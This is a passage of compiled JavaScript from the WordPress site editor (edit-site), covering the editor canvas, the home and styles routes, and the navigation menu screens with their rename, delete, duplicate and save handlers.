} = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
const history = editor_useHistory();
const onActionPerformed = (0,external_wp_element_namespaceObject.useCallback)((actionId, items) => {
switch (actionId) {
case 'move-to-trash':
case 'delete-post':
{
history.navigate(getListPathForPostType(postWithTemplate ? context.postType : postType));
}
break;
case 'duplicate-post':
{
const newItem = items[0];
const _title = typeof newItem.title === 'string' ? newItem.title : newItem.title?.rendered;
createSuccessNotice((0,external_wp_i18n_namespaceObject.sprintf)(
// translators: %s: Title of the created post or template, e.g: "Hello world".
(0,external_wp_i18n_namespaceObject.__)('"%s" successfully created.'), (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(_title)), {
type: 'snackbar',
id: 'duplicate-post-action',
actions: [{
label: (0,external_wp_i18n_namespaceObject.__)('Edit'),
onClick: () => {
history.navigate(`/${newItem.type}/${newItem.id}?canvas=edit`);
}
}]
});
}
break;
}
}, [postType, context?.postType, postWithTemplate, history, createSuccessNotice]);
// Replace the title and icon displayed in the DocumentBar when there's an overlay visible.
const title = getEditorCanvasContainerTitle(editorCanvasView);
const isReady = !isLoading;
const transition = {
duration: disableMotion ? 0 : 0.2
};
return !isBlockBasedTheme && isHomeRoute ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SitePreview, {}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesRenderer, {
disableRootPadding: postType !== TEMPLATE_POST_TYPE
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.EditorKeyboardShortcutsRegister, {}), isEditMode && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockKeyboardShortcuts, {}), !isReady ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CanvasLoader, {
id: loadingProgressId
}) : null, isEditMode && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(WelcomeGuide, {
postType: postWithTemplate ? context.postType : postType
}), isReady && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(Editor, {
postType: postWithTemplate ? context.postType : postType,
postId: postWithTemplate ? context.postId : postId,
templateId: postWithTemplate ? postId : undefined,
settings: settings,
className: "edit-site-editor__editor-interface",
styles: styles,
customSaveButton: _isPreviewingTheme && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SaveButton, {
size: "compact"
}),
customSavePanel: _isPreviewingTheme && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SavePanel, {}),
forceDisableBlockTools: !hasDefaultEditorCanvasView,
title: title,
iframeProps: iframeProps,
onActionPerformed: onActionPerformed,
extraSidebarPanels: !postWithTemplate && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(plugin_template_setting_panel.Slot, {}),
children: [isEditMode && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(BackButton, {
children: ({
length
}) => length <= 1 && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__unstableMotion.div, {
className: "edit-site-editor__view-mode-toggle",
transition: transition,
animate: "edit",
initial: "edit",
whileHover: "hover",
whileTap: "tap",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
__next40pxDefaultSize: true,
label: (0,external_wp_i18n_namespaceObject.__)('Open Navigation'),
showTooltip: true,
tooltipPosition: "middle right",
onClick: () => {
resetZoomLevel();
// TODO: this is a temporary solution to navigate to the posts list if we are
// come here through `posts list` and are in focus mode editing a template, template part etc..
if (isPostsList && location.query?.focusMode) {
history.navigate('/', {
transition: 'canvas-mode-view-transition'
});
} else {
history.navigate(getNavigationPath(location, postWithTemplate ? context.postType : postType), {
transition: 'canvas-mode-view-transition'
});
}
},
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__unstableMotion.div, {
variants: siteIconVariants,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(site_icon, {
className: "edit-site-editor__view-mode-toggle-icon"
})
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__unstableMotion.div, {
className: dist_clsx('edit-site-editor__back-icon', {
'has-site-icon': hasSiteIcon
}),
variants: toggleHomeIconVariants,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(build_module_icon, {
icon: arrow_up_left
})
})]
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(MoreMenu, {}), isBlockBasedTheme && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesSidebar, {})]
})]
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/site-editor-routes/utils.js
/**
* Check if the classic theme supports the stylebook.
*
* @param {Object} siteData - The site data provided by the site editor route area resolvers.
* @return {boolean} True if the stylebook is supported, false otherwise.
*/
function isClassicThemeWithStyleBookSupport(siteData) {
const isBlockTheme = siteData.currentTheme?.is_block_theme;
const supportsEditorStyles = siteData.currentTheme?.theme_supports['editor-styles'];
// This is a temp solution until the has_theme_json value is available for the current theme.
const hasThemeJson = siteData.editorSettings?.supportsLayout;
return !isBlockTheme && (supportsEditorStyles || hasThemeJson);
}
;// ./node_modules/@wordpress/edit-site/build-module/components/site-editor-routes/home.js
/**
* Internal dependencies
*/
const homeRoute = {
name: 'home',
path: '/',
areas: {
sidebar({
siteData
}) {
const isBlockTheme = siteData.currentTheme?.is_block_theme;
return isBlockTheme || isClassicThemeWithStyleBookSupport(siteData) ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenMain, {}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
},
preview({
siteData
}) {
const isBlockTheme = siteData.currentTheme?.is_block_theme;
return isBlockTheme || isClassicThemeWithStyleBookSupport(siteData) ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {
isHomeRoute: true
}) : undefined;
},
mobile({
siteData
}) {
const isBlockTheme = siteData.currentTheme?.is_block_theme;
return isBlockTheme || isClassicThemeWithStyleBookSupport(siteData) ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenMain, {}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
}
}
};
;// ./node_modules/@wordpress/edit-site/build-module/components/site-editor-routes/styles.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useLocation: styles_useLocation
} = unlock(external_wp_router_namespaceObject.privateApis);
function MobileGlobalStylesUI() {
const {
query = {}
} = styles_useLocation();
const {
canvas
} = query;
if (canvas === 'edit') {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {});
}
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesUIWrapper, {});
}
const stylesRoute = {
name: 'styles',
path: '/styles',
areas: {
content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesUIWrapper, {}),
sidebar: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenGlobalStyles, {
backPath: "/"
}),
preview({
query
}) {
const isStylebook = query.preview === 'stylebook';
return isStylebook ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(StyleBookPreview, {}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {});
},
mobile: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(MobileGlobalStylesUI, {})
},
widths: {
content: 380
}
};
;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-navigation-menus/constants.js
// This requested is preloaded in `gutenberg_preload_navigation_posts`.
// As unbounded queries are limited to 100 by `fetchAllMiddleware`
// on apiFetch this query is limited to 100.
// These parameters must be kept aligned with those in
// lib/compat/wordpress-6.3/navigation-block-preloading.php
// and
// block-library/src/navigation/constants.js
const PRELOADED_NAVIGATION_MENUS_QUERY = {
per_page: 100,
status: ['publish', 'draft'],
order: 'desc',
orderby: 'date'
};
;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-navigation-menu/rename-modal.js
/**
* WordPress dependencies
*/
const notEmptyString = testString => testString?.trim()?.length > 0;
function RenameModal({
menuTitle,
onClose,
onSave
}) {
const [editedMenuTitle, setEditedMenuTitle] = (0,external_wp_element_namespaceObject.useState)(menuTitle);
const titleHasChanged = editedMenuTitle !== menuTitle;
const isEditedMenuTitleValid = titleHasChanged && notEmptyString(editedMenuTitle);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Modal, {
title: (0,external_wp_i18n_namespaceObject.__)('Rename'),
onRequestClose: onClose,
focusOnMount: "firstContentElement",
size: "small",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("form", {
className: "sidebar-navigation__rename-modal-form",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
spacing: "3",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.TextControl, {
__nextHasNoMarginBottom: true,
__next40pxDefaultSize: true,
value: editedMenuTitle,
placeholder: (0,external_wp_i18n_namespaceObject.__)('Navigation title'),
onChange: setEditedMenuTitle,
label: (0,external_wp_i18n_namespaceObject.__)('Name')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
justify: "right",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
__next40pxDefaultSize: true,
variant: "tertiary",
onClick: onClose,
children: (0,external_wp_i18n_namespaceObject.__)('Cancel')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
__next40pxDefaultSize: true,
accessibleWhenDisabled: true,
disabled: !isEditedMenuTitleValid,
variant: "primary",
type: "submit",
onClick: e => {
e.preventDefault();
if (!isEditedMenuTitleValid) {
return;
}
onSave({
title: editedMenuTitle
});
// Immediate close avoids ability to hit save multiple times.
onClose();
},
children: (0,external_wp_i18n_namespaceObject.__)('Save')
})]
})]
})
})
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-navigation-menu/delete-confirm-dialog.js
/**
* WordPress dependencies
*/
function DeleteConfirmDialog({
onClose,
onConfirm
}) {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalConfirmDialog, {
isOpen: true,
onConfirm: () => {
onConfirm();
// Immediate close avoids ability to hit delete multiple times.
onClose();
},
onCancel: onClose,
confirmButtonText: (0,external_wp_i18n_namespaceObject.__)('Delete'),
size: "medium",
children: (0,external_wp_i18n_namespaceObject.__)('Are you sure you want to delete this Navigation Menu?')
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-navigation-menu/more-menu.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useHistory: more_menu_useHistory
} = unlock(external_wp_router_namespaceObject.privateApis);
const POPOVER_PROPS = {
position: 'bottom right'
};
function ScreenNavigationMoreMenu(props) {
const {
onDelete,
onSave,
onDuplicate,
menuTitle,
menuId
} = props;
const [renameModalOpen, setRenameModalOpen] = (0,external_wp_element_namespaceObject.useState)(false);
const [deleteConfirmDialogOpen, setDeleteConfirmDialogOpen] = (0,external_wp_element_namespaceObject.useState)(false);
const history = more_menu_useHistory();
const closeModals = () => {
setRenameModalOpen(false);
setDeleteConfirmDialogOpen(false);
};
const openRenameModal = () => setRenameModalOpen(true);
const openDeleteConfirmDialog = () => setDeleteConfirmDialogOpen(true);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.DropdownMenu, {
className: "sidebar-navigation__more-menu",
label: (0,external_wp_i18n_namespaceObject.__)('Actions'),
icon: more_vertical,
popoverProps: POPOVER_PROPS,
children: ({
onClose
}) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.MenuGroup, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
onClick: () => {
openRenameModal();
// Close the dropdown after opening the modal.
onClose();
},
children: (0,external_wp_i18n_namespaceObject.__)('Rename')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
onClick: () => {
history.navigate(`/wp_navigation/${menuId}?canvas=edit`);
},
children: (0,external_wp_i18n_namespaceObject.__)('Edit')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
onClick: () => {
onDuplicate();
onClose();
},
children: (0,external_wp_i18n_namespaceObject.__)('Duplicate')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
isDestructive: true,
onClick: () => {
openDeleteConfirmDialog();
// Close the dropdown after opening the modal.
onClose();
},
children: (0,external_wp_i18n_namespaceObject.__)('Delete')
})]
})
})
}), deleteConfirmDialogOpen && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DeleteConfirmDialog, {
onClose: closeModals,
onConfirm: onDelete
}), renameModalOpen && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(RenameModal, {
onClose: closeModals,
menuTitle: menuTitle,
onSave: onSave
})]
});
}
;// ./node_modules/@wordpress/icons/build-module/library/chevron-up.js
/**
* WordPress dependencies
*/
const chevronUp = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
viewBox: "0 0 24 24",
xmlns: "http://www.w3.org/2000/svg",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M6.5 12.4L12 8l5.5 4.4-.9 1.2L12 10l-4.5 3.6-1-1.2z"
})
});
/* harmony default export */ const chevron_up = (chevronUp);
;// ./node_modules/@wordpress/icons/build-module/library/chevron-down.js
/**
* WordPress dependencies
*/
const chevronDown = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
viewBox: "0 0 24 24",
xmlns: "http://www.w3.org/2000/svg",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M17.5 11.6L12 16l-5.5-4.4.9-1.2L12 14l4.5-3.6 1 1.2z"
})
});
/* harmony default export */ const chevron_down = (chevronDown);
;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-navigation-menus/leaf-more-menu.js
/**
* WordPress dependencies
*/
const leaf_more_menu_POPOVER_PROPS = {
className: 'block-editor-block-settings-menu__popover',
placement: 'bottom-start'
};
/**
* Internal dependencies
*/
const {
useHistory: leaf_more_menu_useHistory,
useLocation: leaf_more_menu_useLocation
} = unlock(external_wp_router_namespaceObject.privateApis);
function LeafMoreMenu(props) {
const history = leaf_more_menu_useHistory();
const {
path
} = leaf_more_menu_useLocation();
const {
block
} = props;
const {
clientId
} = block;
const {
moveBlocksDown,
moveBlocksUp,
removeBlocks
} = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
const removeLabel = (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: block name */
(0,external_wp_i18n_namespaceObject.__)('Remove %s'), (0,external_wp_blockEditor_namespaceObject.BlockTitle)({
clientId,
maximumLength: 25
}));
const goToLabel = (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: block name */
(0,external_wp_i18n_namespaceObject.__)('Go to %s'), (0,external_wp_blockEditor_namespaceObject.BlockTitle)({
clientId,
maximumLength: 25
}));
const rootClientId = (0,external_wp_data_namespaceObject.useSelect)(select => {
const {
getBlockRootClientId
} = select(external_wp_blockEditor_namespaceObject.store);
return getBlockRootClientId(clientId);
}, [clientId]);
const onGoToPage = (0,external_wp_element_namespaceObject.useCallback)(selectedBlock => {
const {
attributes,
name
} = selectedBlock;
if (attributes.kind === 'post-type' && attributes.id && attributes.type && history) {
history.navigate(`/${attributes.type}/${attributes.id}?canvas=edit`, {
state: {
backPath: path
}
});
}
if (name === 'core/page-list-item' && attributes.id && history) {
history.navigate(`/page/${attributes.id}?canvas=edit`, {
state: {
backPath: path
}
});
}
}, [path, history]);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.DropdownMenu, {
icon: more_vertical,
label: (0,external_wp_i18n_namespaceObject.__)('Options'),
className: "block-editor-block-settings-menu",
popoverProps: leaf_more_menu_POPOVER_PROPS,
noIcons: true,
...props,
children: ({
onClose
}) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.MenuGroup, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
icon: chevron_up,
onClick: () => {
moveBlocksUp([clientId], rootClientId);
onClose();
},
children: (0,external_wp_i18n_namespaceObject.__)('Move up')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
icon: chevron_down,
onClick: () => {
moveBlocksDown([clientId], rootClientId);
onClose();
},
children: (0,external_wp_i18n_namespaceObject.__)('Move down')
}), block.attributes?.type === 'page' && block.attributes?.id && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
onClick: () => {
onGoToPage(block);
onClose();
},
children: goToLabel
})]
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuGroup, {
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
onClick: () => {
removeBlocks([clientId], false);
onClose();
},
children: removeLabel
})
})]
})
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-navigation-menus/navigation-menu-content.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
PrivateListView
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
// Needs to be kept in sync with the query used at packages/block-library/src/page-list/edit.js.
const MAX_PAGE_COUNT = 100;
const PAGES_QUERY = ['postType', 'page', {
per_page: MAX_PAGE_COUNT,
_fields: ['id', 'link', 'menu_order', 'parent', 'title', 'type'],
// TODO: When https://core.trac.wordpress.org/ticket/39037 REST API support for multiple orderby
// values is resolved, update 'orderby' to [ 'menu_order', 'post_title' ] to provide a consistent
// sort.
orderby: 'menu_order',
order: 'asc'
}];
function NavigationMenuContent({
rootClientId
}) {
const {
listViewRootClientId,
isLoading
} = (0,external_wp_data_namespaceObject.useSelect)(select => {
const {
areInnerBlocksControlled,
getBlockName,
getBlockCount,
getBlockOrder
} = select(external_wp_blockEditor_namespaceObject.store);
const {
isResolving
} = select(external_wp_coreData_namespaceObject.store);
const blockClientIds = getBlockOrder(rootClientId);
const hasOnlyPageListBlock = blockClientIds.length === 1 && getBlockName(blockClientIds[0]) === 'core/page-list';
const pageListHasBlocks = hasOnlyPageListBlock && getBlockCount(blockClientIds[0]) > 0;
const isLoadingPages = isResolving('getEntityRecords', PAGES_QUERY);
return {
listViewRootClientId: pageListHasBlocks ? blockClientIds[0] : rootClientId,
// This is a small hack to wait for the navigation block
// to actually load its inner blocks.
isLoading: !areInnerBlocksControlled(rootClientId) || isLoadingPages
};
}, [rootClientId]);
const {
replaceBlock,
__unstableMarkNextChangeAsNotPersistent
} = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
const offCanvasOnselect = (0,external_wp_element_namespaceObject.useCallback)(block => {
if (block.name === 'core/navigation-link' && !block.attributes.url) {
__unstableMarkNextChangeAsNotPersistent();
replaceBlock(block.clientId, (0,external_wp_blocks_namespaceObject.createBlock)('core/navigation-link', block.attributes));
}
}, [__unstableMarkNextChangeAsNotPersistent, replaceBlock]);
// The hidden block is needed because it makes block edit side effects trigger.
// For example a navigation page list load its items has an effect on edit to load its items.
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [!isLoading && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PrivateListView, {
rootClientId: listViewRootClientId,
onSelect: offCanvasOnselect,
blockSettingsMenu: LeafMoreMenu,
showAppender: false
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "edit-site-sidebar-navigation-screen-navigation-menus__helper-block-editor",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockList, {})
})]
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-navigation-menu/navigation-menu-editor.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const navigation_menu_editor_noop = () => {};
function NavigationMenuEditor({
navigationMenuId
}) {
const {
storedSettings
} = (0,external_wp_data_namespaceObject.useSelect)(select => {
const {
getSettings
} = unlock(select(store));
return {
storedSettings: getSettings()
};
}, []);
const blocks = (0,external_wp_element_namespaceObject.useMemo)(() => {
if (!navigationMenuId) {
return [];
}
return [(0,external_wp_blocks_namespaceObject.createBlock)('core/navigation', {
ref: navigationMenuId
})];
}, [navigationMenuId]);
if (!navigationMenuId || !blocks?.length) {
return null;
}
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockEditorProvider, {
settings: storedSettings,
value: blocks,
onChange: navigation_menu_editor_noop,
onInput: navigation_menu_editor_noop,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "edit-site-sidebar-navigation-screen-navigation-menus__content",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(NavigationMenuContent, {
rootClientId: blocks[0].clientId
})
})
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-navigation-menus/build-navigation-label.js
/**
* WordPress dependencies
*/
// Copied from packages/block-library/src/navigation/edit/navigation-menu-selector.js.
function buildNavigationLabel(title, id, status) {
if (!title?.rendered) {
/* translators: %s: the index of the menu in the list of menus. */
return (0,external_wp_i18n_namespaceObject.sprintf)((0,external_wp_i18n_namespaceObject.__)('(no title %s)'), id);
}
if (status === 'publish') {
return (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(title?.rendered);
}
return (0,external_wp_i18n_namespaceObject.sprintf)(
// translators: 1: title of the menu. 2: status of the menu (draft, pending, etc.).
(0,external_wp_i18n_namespaceObject._x)('%1$s (%2$s)', 'menu label'), (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(title?.rendered), status);
}
;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-navigation-menu/single-navigation-menu.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
function SingleNavigationMenu({
navigationMenu,
backPath,
handleDelete,
handleDuplicate,
handleSave
}) {
const menuTitle = navigationMenu?.title?.rendered;
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenWrapper, {
actions: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ScreenNavigationMoreMenu, {
menuId: navigationMenu?.id,
menuTitle: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(menuTitle),
onDelete: handleDelete,
onSave: handleSave,
onDuplicate: handleDuplicate
})
}),
backPath: backPath,
title: buildNavigationLabel(navigationMenu?.title, navigationMenu?.id, navigationMenu?.status),
description: (0,external_wp_i18n_namespaceObject.__)('Navigation Menus are a curated collection of blocks that allow visitors to get around your site.'),
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(NavigationMenuEditor, {
navigationMenuId: navigationMenu?.id
})
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-navigation-menu/index.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useLocation: sidebar_navigation_screen_navigation_menu_useLocation
} = unlock(external_wp_router_namespaceObject.privateApis);
const postType = `wp_navigation`;
function SidebarNavigationScreenNavigationMenu({
backPath
}) {
const {
params: {
postId
}
} = sidebar_navigation_screen_navigation_menu_useLocation();
const {
record: navigationMenu,
isResolving
} = (0,external_wp_coreData_namespaceObject.useEntityRecord)('postType', postType, postId);
const {
isSaving,
isDeleting
} = (0,external_wp_data_namespaceObject.useSelect)(select => {
const {
isSavingEntityRecord,
isDeletingEntityRecord
} = select(external_wp_coreData_namespaceObject.store);
return {
isSaving: isSavingEntityRecord('postType', postType, postId),
isDeleting: isDeletingEntityRecord('postType', postType, postId)
};
}, [postId]);
const isLoading = isResolving || isSaving || isDeleting;
const menuTitle = navigationMenu?.title?.rendered || navigationMenu?.slug;
const {
handleSave,
handleDelete,
handleDuplicate
} = useNavigationMenuHandlers();
const _handleDelete = () => handleDelete(navigationMenu);
const _handleSave = edits => handleSave(navigationMenu, edits);
const _handleDuplicate = () => handleDuplicate(navigationMenu);
if (isLoading) {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenWrapper, {
description: (0,external_wp_i18n_namespaceObject.__)('Navigation Menus are a curated collection of blocks that allow visitors to get around your site.'),
backPath: backPath,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {
className: "edit-site-sidebar-navigation-screen-navigation-menus__loading"
})
});
}
if (!isLoading && !navigationMenu) {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenWrapper, {
description: (0,external_wp_i18n_namespaceObject.__)('Navigation Menu missing.'),
backPath: backPath
});
}
if (!navigationMenu?.content?.raw) {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenWrapper, {
actions: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ScreenNavigationMoreMenu, {
menuId: navigationMenu?.id,
menuTitle: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(menuTitle),
onDelete: _handleDelete,
onSave: _handleSave,
onDuplicate: _handleDuplicate
}),
backPath: backPath,
title: buildNavigationLabel(navigationMenu?.title, navigationMenu?.id, navigationMenu?.status),
description: (0,external_wp_i18n_namespaceObject.__)('This Navigation Menu is empty.')
});
}
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SingleNavigationMenu, {
navigationMenu: navigationMenu,
backPath: backPath,
handleDelete: _handleDelete,
handleSave: _handleSave,
handleDuplicate: _handleDuplicate
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-navigation-menu/use-navigation-menu-handlers.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useHistory: use_navigation_menu_handlers_useHistory
} = unlock(external_wp_router_namespaceObject.privateApis);
function useDeleteNavigationMenu() {
const {
deleteEntityRecord
} = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
const {
createSuccessNotice,
createErrorNotice
} = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
const history = use_navigation_menu_handlers_useHistory();
const handleDelete = async navigationMenu => {
const postId = navigationMenu?.id;
try {
await deleteEntityRecord('postType', postType, postId, {
force: true
}, {
throwOnError: true
});
createSuccessNotice((0,external_wp_i18n_namespaceObject.__)('Navigation Menu successfully deleted.'), {
type: 'snackbar'
});
history.navigate('/navigation');
} catch (error) {
createErrorNotice((0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: error message describing why the navigation menu could not be deleted. */
(0,external_wp_i18n_namespaceObject.__)(`Unable to delete Navigation Menu (%s).`), error?.message), {
type: 'snackbar'
});
}
};
return handleDelete;
}
function useSaveNavigationMenu() {
const {
getEditedEntityRecord
} = (0,external_wp_data_namespaceObject.useSelect)(select => {
const {
getEditedEntityRecord: getEditedEntityRecordSelector
} = select(external_wp_coreData_namespaceObject.store);
return {
getEditedEntityRecord: getEditedEntityRecordSelector
};
}, []);
const {
editEntityRecord,
__experimentalSaveSpecifiedEntityEdits: saveSpecifiedEntityEdits
} = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
const {
